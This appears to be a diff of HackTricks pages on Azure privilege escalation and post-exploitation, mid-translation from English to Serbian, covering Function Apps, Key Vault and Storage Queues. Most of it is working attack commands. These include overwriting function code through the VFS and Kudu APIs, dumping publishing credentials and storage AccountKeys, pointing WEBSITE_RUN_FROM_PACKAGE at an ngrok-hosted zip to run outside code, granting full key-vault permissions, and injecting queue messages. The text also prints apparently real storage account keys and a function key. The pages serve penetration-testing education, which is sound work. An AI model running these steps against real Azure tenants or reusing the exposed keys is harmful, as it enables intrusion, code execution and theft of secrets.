curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" -v
|
||||
```
|
||||
|
||||
And to **change the code that is being executed** in the function with:
|
||||
|
||||
I da **promenite kod koji se izvršava** u funkciji sa:
|
||||
```bash
|
||||
# Set the code to set in the function in /tmp/function_app.py
|
||||
## The following continues using the python example
|
||||
@@ -158,73 +143,57 @@ curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwro
|
||||
-H "If-Match: *" \
|
||||
-v
|
||||
```
|
||||
|
||||
### Microsoft.Web/sites/functions/listKeys/action
|
||||
|
||||
This permission allows to get the host key, of the specified function with:
|
||||
|
||||
Ova dozvola omogućava dobijanje host ključa, od određene funkcije sa:
|
||||
```bash
|
||||
az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"
|
||||
```
|
||||
|
||||
### Microsoft.Web/sites/host/functionKeys/write
|
||||
|
||||
This permission allows to create/update a function key of the specified function with:
|
||||
|
||||
Ova dozvola omogućava kreiranje/izmenu ključa funkcije za određenu funkciju sa:
|
||||
```bash
|
||||
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
|
||||
```
|
||||
|
||||
### Microsoft.Web/sites/host/masterKey/write
|
||||
|
||||
This permission allows to create/update a master key to the specified function with:
|
||||
|
||||
Ova dozvola omogućava kreiranje/izmenu glavnog ključa za određenu funkciju sa:
|
||||
```bash
|
||||
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> Remember that with this key you can also access the source code and modify it as explained before!
|
||||
> Zapamtite da sa ovim ključem možete takođe pristupiti izvoru koda i modifikovati ga kao što je objašnjeno ranije!
|
||||
|
||||
### Microsoft.Web/sites/host/systemKeys/write
|
||||
|
||||
This permission allows to create/update a system function key to the specified function with:
|
||||
|
||||
Ova dozvola omogućava kreiranje/aktuelizaciju sistemskog funkcijskog ključa za određenu funkciju sa:
|
||||
```bash
|
||||
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
|
||||
```
|
||||
|
||||
### Microsoft.Web/sites/config/list/action
|
||||
|
||||
This permission allows to get the settings of a function. Inside these configurations it might be possible to find the default values **`AzureWebJobsStorage`** or **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** which contains an **account key to access the blob storage of the function with FULL permissions**.
|
||||
|
||||
Ova dozvola omogućava pristup podešavanjima funkcije. Unutar ovih konfiguracija može biti moguće pronaći podrazumevane vrednosti **`AzureWebJobsStorage`** ili **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** koje sadrže **ključ naloga za pristup blob skladištu funkcije sa POTPUNIM dozvolama**.
|
||||
```bash
|
||||
az functionapp config appsettings list --name <func-name> --resource-group <res-group>
|
||||
```
|
||||
|
||||
Moreover, this permission also allows to get the **SCM username and password** (if enabled) with:
|
||||
|
||||
Pored toga, ova dozvola takođe omogućava dobijanje **SCM korisničkog imena i lozinke** (ako je omogućeno) sa:
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"
|
||||
```
|
||||
|
||||
### Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/write
|
||||
|
||||
These permissions allows to list the config values of a function as we have seen before plus **modify these values**. This is useful because these settings indicate where the code to execute inside the function is located. 
|
||||
Ove dozvole omogućavaju da se prikažu konfiguracione vrednosti funkcije kao što smo ranije videli, plus **da se modifikuju te vrednosti**. Ovo je korisno jer ove postavke ukazuju na to gde se nalazi kod koji treba da se izvrši unutar funkcije. 
|
||||
|
||||
It's therefore possible to set the value of the setting **`WEBSITE_RUN_FROM_PACKAGE`** pointing to an URL zip file containing the new code to execute inside a web application:
|
||||
|
||||
- Start by getting the current config
|
||||
Stoga je moguće postaviti vrednost postavke **`WEBSITE_RUN_FROM_PACKAGE`** koja pokazuje na URL zip datoteku koja sadrži novi kod koji treba da se izvrši unutar web aplikacije:
|
||||
|
||||
- Počnite tako što ćete dobiti trenutnu konfiguraciju
|
||||
```bash
|
||||
az functionapp config appsettings list \
|
||||
--name <app-name> \
|
||||
--resource-group <res-name>
|
||||
--name <app-name> \
|
||||
--resource-group <res-name>
|
||||
```
|
||||
|
||||
- Create the code you want the function to run and host it publicly
|
||||
|
||||
- Kreirajte kod koji želite da funkcija izvrši i hostujte ga javno
|
||||
```bash
|
||||
# Write inside /tmp/web/function_app.py the code of the function
|
||||
cd /tmp/web/function_app.py
|
||||
@@ -234,228 +203,189 @@ python3 -m http.server
|
||||
# Serve it using ngrok for example
|
||||
ngrok http 8000
|
||||
```
|
||||
- Izmenite funkciju, zadržite prethodne parametre i na kraju dodajte konfiguraciju **`WEBSITE_RUN_FROM_PACKAGE`** koja pokazuje na URL sa **zip**-om koji sadrži kod.
|
||||
|
||||
- Modify the function, keep the previous parameters and add at the end the config **`WEBSITE_RUN_FROM_PACKAGE`** pointing to the URL with the **zip** containing the code.
|
||||
|
||||
The following is an example of my **own settings you will need to change the values for yours**, note at the end the values `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"` , this is where I was hosting the app.
|
||||
|
||||
Sledeći je primer mojih **vlastitih podešavanja koja ćete morati da promenite za svoja**, obratite pažnju na kraju na vrednosti `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`, ovde sam hostovao aplikaciju.
|
||||
```bash
|
||||
# Modify the function
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Web/sites/newfunctiontestlatestrelease/config/appsettings?api-version=2023-01-01" \
|
||||
--headers '{"Content-Type": "application/json"}' \
|
||||
--body '{"properties": {"APPLICATIONINSIGHTS_CONNECTION_STRING": "InstrumentationKey=67b64ab1-a49e-4e37-9c42-ff16e07290b0;IngestionEndpoint=https://canadacentral-1.in.applicationinsights.azure.com/;LiveEndpoint=https://canadacentral.livediagnostics.monitor.azure.com/;ApplicationId=cdd211a7-9981-47e8-b3c7-44cd55d53161", "AzureWebJobsStorage": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net", "FUNCTIONS_EXTENSION_VERSION": "~4", "FUNCTIONS_WORKER_RUNTIME": "python", "WEBSITE_CONTENTAZUREFILECONNECTIONSTRING": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net","WEBSITE_CONTENTSHARE": "newfunctiontestlatestrelease89c1", "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"}}'
|
||||
--uri "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Web/sites/newfunctiontestlatestrelease/config/appsettings?api-version=2023-01-01" \
|
||||
--headers '{"Content-Type": "application/json"}' \
|
||||
--body '{"properties": {"APPLICATIONINSIGHTS_CONNECTION_STRING": "InstrumentationKey=67b64ab1-a49e-4e37-9c42-ff16e07290b0;IngestionEndpoint=https://canadacentral-1.in.applicationinsights.azure.com/;LiveEndpoint=https://canadacentral.livediagnostics.monitor.azure.com/;ApplicationId=cdd211a7-9981-47e8-b3c7-44cd55d53161", "AzureWebJobsStorage": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net", "FUNCTIONS_EXTENSION_VERSION": "~4", "FUNCTIONS_WORKER_RUNTIME": "python", "WEBSITE_CONTENTAZUREFILECONNECTIONSTRING": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net","WEBSITE_CONTENTSHARE": "newfunctiontestlatestrelease89c1", "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"}}'
|
||||
```
|
||||
|
||||
### Microsoft.Web/sites/hostruntime/vfs/write
|
||||
|
||||
With this permission it's **possible to modify the code of an application** through the web console (or through the following API endpoint):
|
||||
|
||||
Sa ovom dozvolom je **moguće modifikovati kod aplikacije** putem web konzole (ili putem sledeće API tačke):
|
||||
```bash
|
||||
# This is a python example, so we will be overwritting function_app.py
|
||||
# Store in /tmp/body the raw python code to put in the function
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" \
|
||||
--headers '{"Content-Type": "application/json", "If-Match": "*"}' \
|
||||
--body @/tmp/body
|
||||
--uri "https://management.azure.com/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" \
|
||||
--headers '{"Content-Type": "application/json", "If-Match": "*"}' \
|
||||
--body @/tmp/body
|
||||
```
|
||||
|
||||
### Microsoft.Web/sites/publishxml/action, (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write)
|
||||
|
||||
This permissions allows to list all the publishing profiles which basically contains **basic auth credentials**:
|
||||
|
||||
Ova dozvola omogućava da se prikažu svi profili objavljivanja koji u suštini sadrže **osnovne autentifikacione kredencijale**:
|
||||
```bash
|
||||
# Get creds
|
||||
az functionapp deployment list-publishing-profiles \
|
||||
--name <app-name> \
|
||||
--resource-group <res-name> \
|
||||
--output json
|
||||
--name <app-name> \
|
||||
--resource-group <res-name> \
|
||||
--output json
|
||||
```
|
||||
|
||||
Another option would be to set you own creds and use them using:
|
||||
|
||||
Još jedna opcija bi bila da postavite svoje kredencijale i koristite ih pomoću:
|
||||
```bash
|
||||
az functionapp deployment user set \
|
||||
--user-name DeployUser123456 g \
|
||||
--password 'P@ssw0rd123!'
|
||||
--user-name DeployUser123456 g \
|
||||
--password 'P@ssw0rd123!'
|
||||
```
|
||||
- Ako su **REDACTED** akreditivi
|
||||
|
||||
- If **REDACTED** credentials
|
||||
|
||||
If you see that those credentials are **REDACTED**, it's because you **need to enable the SCM basic authentication option** and for that you need the second permission (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):`
|
||||
|
||||
Ako vidite da su ti akreditivi **REDACTED**, to je zato što **morate omogućiti SCM osnovnu opciju autentifikacije** i za to vam je potrebna druga dozvola (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):`
|
||||
```bash
|
||||
# Enable basic authentication for SCM
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"allow": true
|
||||
}
|
||||
}'
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"allow": true
|
||||
}
|
||||
}'
|
||||
|
||||
# Enable basic authentication for FTP
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"allow": true
|
||||
}
|
||||
}
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"allow": true
|
||||
}
|
||||
}
|
||||
```
|
||||
- **Metod SCM**
|
||||
|
||||
- **Method SCM**
|
||||
|
||||
Then, you can access with these **basic auth credentials to the SCM URL** of your function app and get the values of the env variables:
|
||||
|
||||
Zatim, možete pristupiti sa ovim **osnovnim autentifikacionim podacima do SCM URL-a** vaše funkcijske aplikacije i dobiti vrednosti env varijabli:
|
||||
```bash
|
||||
# Get settings values
|
||||
curl -u '<username>:<password>' \
|
||||
https://<app-name>.scm.azurewebsites.net/api/settings -v
|
||||
https://<app-name>.scm.azurewebsites.net/api/settings -v
|
||||
|
||||
# Deploy code to the funciton
|
||||
zip function_app.zip function_app.py # Your code in function_app.py
|
||||
curl -u '<username>:<password>' -X POST --data-binary "@<zip_file_path>" \
|
||||
https://<app-name>.scm.azurewebsites.net/api/zipdeploy
|
||||
https://<app-name>.scm.azurewebsites.net/api/zipdeploy
|
||||
```
|
||||
_Napomena da je **SCM korisničko ime** obično znak "$" praćen imenom aplikacije, tako da: `$<app-name>`._
|
||||
|
||||
_Note that the **SCM username** is usually the char "$" followed by the name of the app, so: `$<app-name>`._
|
||||
Možete takođe pristupiti veb stranici sa `https://<app-name>.scm.azurewebsites.net/BasicAuth`
|
||||
|
||||
You can also access the web page from `https://<app-name>.scm.azurewebsites.net/BasicAuth`
|
||||
Vrednosti podešavanja sadrže **AccountKey** skladišnog naloga koji čuva podatke funkcijske aplikacije, omogućavajući kontrolu nad tim skladišnim nalogom.
|
||||
|
||||
The settings values contains the **AccountKey** of the storage account storing the data of the function app, allowing to control that storage account.
|
||||
|
||||
- **Method FTP**
|
||||
|
||||
Connect to the FTP server using:
|
||||
- **Metod FTP**
|
||||
|
||||
Povežite se na FTP server koristeći:
|
||||
```bash
|
||||
# macOS install lftp
|
||||
brew install lftp
|
||||
|
||||
# Connect using lftp
|
||||
lftp -u '<username>','<password>' \
|
||||
ftps://waws-prod-yq1-005dr.ftp.azurewebsites.windows.net/site/wwwroot/
|
||||
ftps://waws-prod-yq1-005dr.ftp.azurewebsites.windows.net/site/wwwroot/
|
||||
|
||||
# Some commands
|
||||
ls # List
|
||||
get ./function_app.py -o /tmp/ # Download function_app.py in /tmp
|
||||
put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it
|
||||
```
|
||||
|
||||
_Note that the **FTP username** is usually in the format \<app-name>\\$\<app-name>._
|
||||
_Napomena da je **FTP korisničko ime** obično u formatu \<app-name>\\$\<app-name>._
|
||||
|
||||
### Microsoft.Web/sites/publish/Action
|
||||
|
||||
According to [**the docs**](https://github.com/projectkudu/kudu/wiki/REST-API#command), this permission allows to **execute commands inside the SCM server** which could be used to modify the source code of the application:
|
||||
|
||||
Prema [**dokumentaciji**](https://github.com/projectkudu/kudu/wiki/REST-API#command), ova dozvola omogućava **izvršavanje komandi unutar SCM servera** što se može koristiti za modifikaciju izvornog koda aplikacije:
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--resource "https://management.azure.com/" \
|
||||
--url "https://newfuncttest123.scm.azurewebsites.net/api/command" \
|
||||
--body '{"command": "echo Hello World", "dir": "site\\repository"}' --debug
|
||||
--resource "https://management.azure.com/" \
|
||||
--url "https://newfuncttest123.scm.azurewebsites.net/api/command" \
|
||||
--body '{"command": "echo Hello World", "dir": "site\\repository"}' --debug
|
||||
```
|
||||
|
||||
### Microsoft.Web/sites/hostruntime/vfs/read
|
||||
|
||||
This permission allows to **read the source code** of the app through the VFS:
|
||||
|
||||
Ova dozvola omogućava **čitati izvorni kod** aplikacije putem VFS-a:
|
||||
```bash
|
||||
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
|
||||
```
|
||||
|
||||
### Microsoft.Web/sites/functions/token/action
|
||||
|
||||
With this permission it's possible to [get the **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) which can be later used to retrieve the **master key** and therefore access and modify the function's code:
|
||||
|
||||
Sa ovom dozvolom je moguće [dobiti **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) koji se kasnije može koristiti za preuzimanje **master key** i tako pristupiti i izmeniti kod funkcije:
|
||||
```bash
|
||||
# Get admin token
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/admin/token?api-version=2024-04-01" \
|
||||
--headers '{"Content-Type": "application/json"}' \
|
||||
--debug
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/admin/token?api-version=2024-04-01" \
|
||||
--headers '{"Content-Type": "application/json"}' \
|
||||
--debug
|
||||
|
||||
# Get master key
|
||||
curl "https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \
|
||||
-H "Authorization: Bearer <token>"
|
||||
-H "Authorization: Bearer <token>"
|
||||
```
|
||||
|
||||
### Microsoft.Web/sites/config/write, (Microsoft.Web/sites/functions/properties/read)
|
||||
|
||||
This permissions allows to **enable functions** that might be disabled (or disable them).
|
||||
|
||||
Ova dozvola omogućava **omogućavanje funkcija** koje mogu biti onemogućene (ili njihovo onemogućavanje).
|
||||
```bash
|
||||
# Enable a disabled function
|
||||
az functionapp config appsettings set \
|
||||
--name <app-name> \
|
||||
--resource-group <res-group> \
|
||||
--settings "AzureWebJobs.http_trigger1.Disabled=false"
|
||||
--name <app-name> \
|
||||
--resource-group <res-group> \
|
||||
--settings "AzureWebJobs.http_trigger1.Disabled=false"
|
||||
```
|
||||
|
||||
It's also possible to see if a function is enabled or disabled in the following URL (using the permission in parenthesis):
|
||||
|
||||
Takođe je moguće videti da li je funkcija omogućena ili onemogućena na sledećem URL-u (koristeći dozvolu u zagradi):
|
||||
```bash
|
||||
az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01"
|
||||
```
|
||||
|
||||
### Microsoft.Web/sites/config/write, Microsoft.Web/sites/config/list/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/read)
|
||||
|
||||
With these permissions it's possible to **modify the container run by a function app** configured to run a container. This would allow an attacker to upload a malicious azure function container app to docker hub (for example) and make the function execute it.
|
||||
|
||||
Sa ovim dozvolama moguće je **modifikovati kontejner koji pokreće funkcijska aplikacija** konfigurisana da pokreće kontejner. To bi omogućilo napadaču da otpremi zloćudnu azure funkcijsku kontejnersku aplikaciju na docker hub (na primer) i natera funkciju da je izvrši.
|
||||
```bash
|
||||
az functionapp config container set --name <app-name> \
|
||||
--resource-group <res-group> \
|
||||
--image "mcr.microsoft.com/azure-functions/dotnet8-quickstart-demo:1.0"
|
||||
--resource-group <res-group> \
|
||||
--image "mcr.microsoft.com/azure-functions/dotnet8-quickstart-demo:1.0"
|
||||
```
|
||||
|
||||
### Microsoft.Web/sites/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action, Microsoft.App/managedEnvironments/join/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/operationresults/read)
|
||||
|
||||
With these permissions it's possible to **attach a new user managed identity to a function**. If the function was compromised this would allow to escalate privileges to any user managed identity.
|
||||
|
||||
Sa ovim dozvolama je moguće **priključiti novu identitet korisnika koji se upravlja funkciji**. Ako je funkcija kompromitovana, to bi omogućilo eskalaciju privilegija na bilo koji identitet korisnika koji se upravlja.
|
||||
```bash
|
||||
az functionapp identity assign \
|
||||
--name <app-name> \
|
||||
--resource-group <res-group> \
|
||||
--identities /subscriptions/<subs-id>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>
|
||||
--name <app-name> \
|
||||
--resource-group <res-group> \
|
||||
--identities /subscriptions/<subs-id>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>
|
||||
```
|
||||
|
||||
### Remote Debugging
|
||||
|
||||
It's also possible to connect to debug a running Azure function as [**explained in the docs**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). However, by default Azure will turn this option to off in 2 days in case the developer forgets to avoid leaving vulnerable configurations.
|
||||
|
||||
It's possible to check if a Function has debugging enabled with:
|
||||
Takođe je moguće povezati se za debagovanje pokrenute Azure funkcije kao [**objašnjeno u dokumentaciji**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Međutim, podrazumevano će Azure isključiti ovu opciju za 2 dana u slučaju da programer zaboravi kako bi se izbeglo ostavljanje ranjivih konfiguracija.
|
||||
|
||||
Moguće je proveriti da li funkcija ima omogućeno debagovanje sa:
|
||||
```bash
|
||||
az functionapp show --name <app-name> --resource-group <res-group>
|
||||
```
|
||||
|
||||
Having the permission `Microsoft.Web/sites/config/write` it's also possible to put a function in debugging mode (the following command also requires the permissions `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` and `Microsoft.Web/sites/Read`).
|
||||
|
||||
Imajući dozvolu `Microsoft.Web/sites/config/write`, takođe je moguće staviti funkciju u režim otklanjanja grešaka (sledeća komanda takođe zahteva dozvole `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` i `Microsoft.Web/sites/Read`).
|
||||
```bash
|
||||
az functionapp config set --remote-debugging-enabled=True --name <app-name> --resource-group <res-group>
|
||||
```
|
||||
### Promena Github repozitorijuma
|
||||
|
||||
### Change Github repo
|
||||
|
||||
I tried changing the Github repo from where the deploying is occurring by executing the following commands but even if it did change, **the new code was not loaded** (probably because it's expecting the Github Action to update the code).\
|
||||
Moreover, the **managed identity federated credential wasn't updated** allowing the new repository, so it looks like this isn't very useful.
|
||||
|
||||
Pokušao sam da promenim Github repozitorijum sa kojeg se vrši implementacija izvršavanjem sledećih komandi, ali čak i ako se promenio, **novi kod nije učitan** (verovatno zato što očekuje da Github Action ažurira kod).\
|
||||
Pored toga, **federisana akreditivna identitet upravljanja nije ažurirana** da dozvoli novi repozitorijum, tako da izgleda da ovo nije baš korisno.
|
||||
```bash
|
||||
# Remove current
|
||||
az functionapp deployment source delete \
|
||||
--name funcGithub \
|
||||
--resource-group Resource_Group_1
|
||||
--name funcGithub \
|
||||
--resource-group Resource_Group_1
|
||||
|
||||
# Load new public repo
|
||||
az functionapp deployment source config \
|
||||
--name funcGithub \
|
||||
--resource-group Resource_Group_1 \
|
||||
--repo-url "https://github.com/orgname/azure_func3" \
|
||||
--branch main --github-action true
|
||||
--name funcGithub \
|
||||
--resource-group Resource_Group_1 \
|
||||
--repo-url "https://github.com/orgname/azure_func3" \
|
||||
--branch main --github-action true
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Azure Key Vault
|
||||
|
||||
For more information about this service check:
|
||||
Za više informacija o ovoj usluzi proverite:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/keyvault.md
|
||||
@@ -12,8 +12,7 @@ For more information about this service check:
|
||||
|
||||
### Microsoft.KeyVault/vaults/write
|
||||
|
||||
An attacker with this permission will be able to modify the policy of a key vault (the key vault must be using access policies instead of RBAC).
|
||||
|
||||
Napadač sa ovom dozvolom će moći da izmeni politiku ključnog trezora (ključni trezor mora koristiti pristupne politike umesto RBAC).
|
||||
```bash
|
||||
# If access policies in the output, then you can abuse it
|
||||
az keyvault show --name <vault-name>
|
||||
@@ -23,16 +22,11 @@ az ad signed-in-user show --query id --output tsv
|
||||
|
||||
# Assign all permissions
|
||||
az keyvault set-policy \
|
||||
--name <vault-name> \
|
||||
--object-id <your-object-id> \
|
||||
--key-permissions all \
|
||||
--secret-permissions all \
|
||||
--certificate-permissions all \
|
||||
--storage-permissions all
|
||||
--name <vault-name> \
|
||||
--object-id <your-object-id> \
|
||||
--key-permissions all \
|
||||
--secret-permissions all \
|
||||
--certificate-permissions all \
|
||||
--storage-permissions all
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Queue
|
||||
|
||||
For more information check:
|
||||
Za više informacija pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-queue-enum.md
|
||||
@@ -12,50 +12,41 @@ For more information check:
|
||||
|
||||
### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/read`
|
||||
|
||||
An attacker with this permission can peek messages from an Azure Storage Queue. This allows the attacker to view the content of messages without marking them as processed or altering their state. This could lead to unauthorized access to sensitive information, enabling data exfiltration or gathering intelligence for further attacks.
|
||||
|
||||
Napadač sa ovom dozvolom može da pogleda poruke iz Azure Storage Queue. Ovo omogućava napadaču da vidi sadržaj poruka bez označavanja kao obrađenih ili menjanja njihovog stanja. To može dovesti do neovlašćenog pristupa osetljivim informacijama, omogućavajući eksfiltraciju podataka ili prikupljanje obaveštajnih podataka za dalja napada.
|
||||
```bash
|
||||
az storage message peek --queue-name <queue_name> --account-name <storage_account>
|
||||
```
|
||||
|
||||
**Potential Impact**: Unauthorized access to the queue, message exposure, or queue manipulation by unauthorized users or services.
|
||||
**Potencijalni uticaj**: Neovlašćen pristup redu, izlaganje poruka ili manipulacija redom od strane neovlašćenih korisnika ili servisa.
|
||||
|
||||
### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/process/action`
|
||||
|
||||
With this permission, an attacker can retrieve and process messages from an Azure Storage Queue. This means they can read the message content and mark it as processed, effectively hiding it from legitimate systems. This could lead to sensitive data being exposed, disruptions in how messages are handled, or even stopping important workflows by making messages unavailable to their intended users.
|
||||
|
||||
Sa ovom dozvolom, napadač može da preuzme i obradi poruke iz Azure Storage Queue. To znači da mogu da pročitaju sadržaj poruke i označe je kao obrađenu, efikasno je skrivajući od legitimnih sistema. To može dovesti do izlaganja osetljivih podataka, prekida u načinu na koji se poruke obrađuju, ili čak zaustavljanja važnih radnih tokova čineći poruke nedostupnim njihovim predviđenim korisnicima.
|
||||
```bash
|
||||
az storage message get --queue-name <queue_name> --account-name <storage_account>
|
||||
```
|
||||
|
||||
### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/add/action`
|
||||
|
||||
With this permission, an attacker can add new messages to an Azure Storage Queue. This allows them to inject malicious or unauthorized data into the queue, potentially triggering unintended actions or disrupting downstream services that process the messages.
|
||||
|
||||
Sa ovom dozvolom, napadač može dodati nove poruke u Azure Storage Queue. To im omogućava da ubace zlonamerne ili neovlašćene podatke u red, potencijalno pokrećući nepredviđene akcije ili ometajući usluge koje obrađuju poruke.
|
||||
```bash
|
||||
az storage message put --queue-name <queue-name> --content "Injected malicious message" --account-name <storage-account>
|
||||
```
|
||||
|
||||
### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/write`
|
||||
|
||||
This permission allows an attacker to add new messages or update existing ones in an Azure Storage Queue. By using this, they could insert harmful content or alter existing messages, potentially misleading applications or causing undesired behaviors in systems that rely on the queue.
|
||||
|
||||
Ova dozvola omogućava napadaču da doda nove poruke ili ažurira postojeće u Azure Storage Queue. Korišćenjem ove dozvole, mogli bi da ubace štetan sadržaj ili promene postojeće poruke, potencijalno obmanjujući aplikacije ili uzrokujući neželjeno ponašanje u sistemima koji se oslanjaju na red.
|
||||
```bash
|
||||
az storage message put --queue-name <queue-name> --content "Injected malicious message" --account-name <storage-account>
|
||||
|
||||
#Update the message
|
||||
az storage message update --queue-name <queue-name> \
|
||||
--id <message-id> \
|
||||
--pop-receipt <pop-receipt> \
|
||||
--content "Updated message content" \
|
||||
--visibility-timeout <timeout-in-seconds> \
|
||||
--account-name <storage-account>
|
||||
--id <message-id> \
|
||||
--pop-receipt <pop-receipt> \
|
||||
--content "Updated message content" \
|
||||
--visibility-timeout <timeout-in-seconds> \
|
||||
--account-name <storage-account>
|
||||
```
|
||||
|
||||
### Action: `Microsoft.Storage/storageAccounts/queueServices/queues/write`
|
||||
|
||||
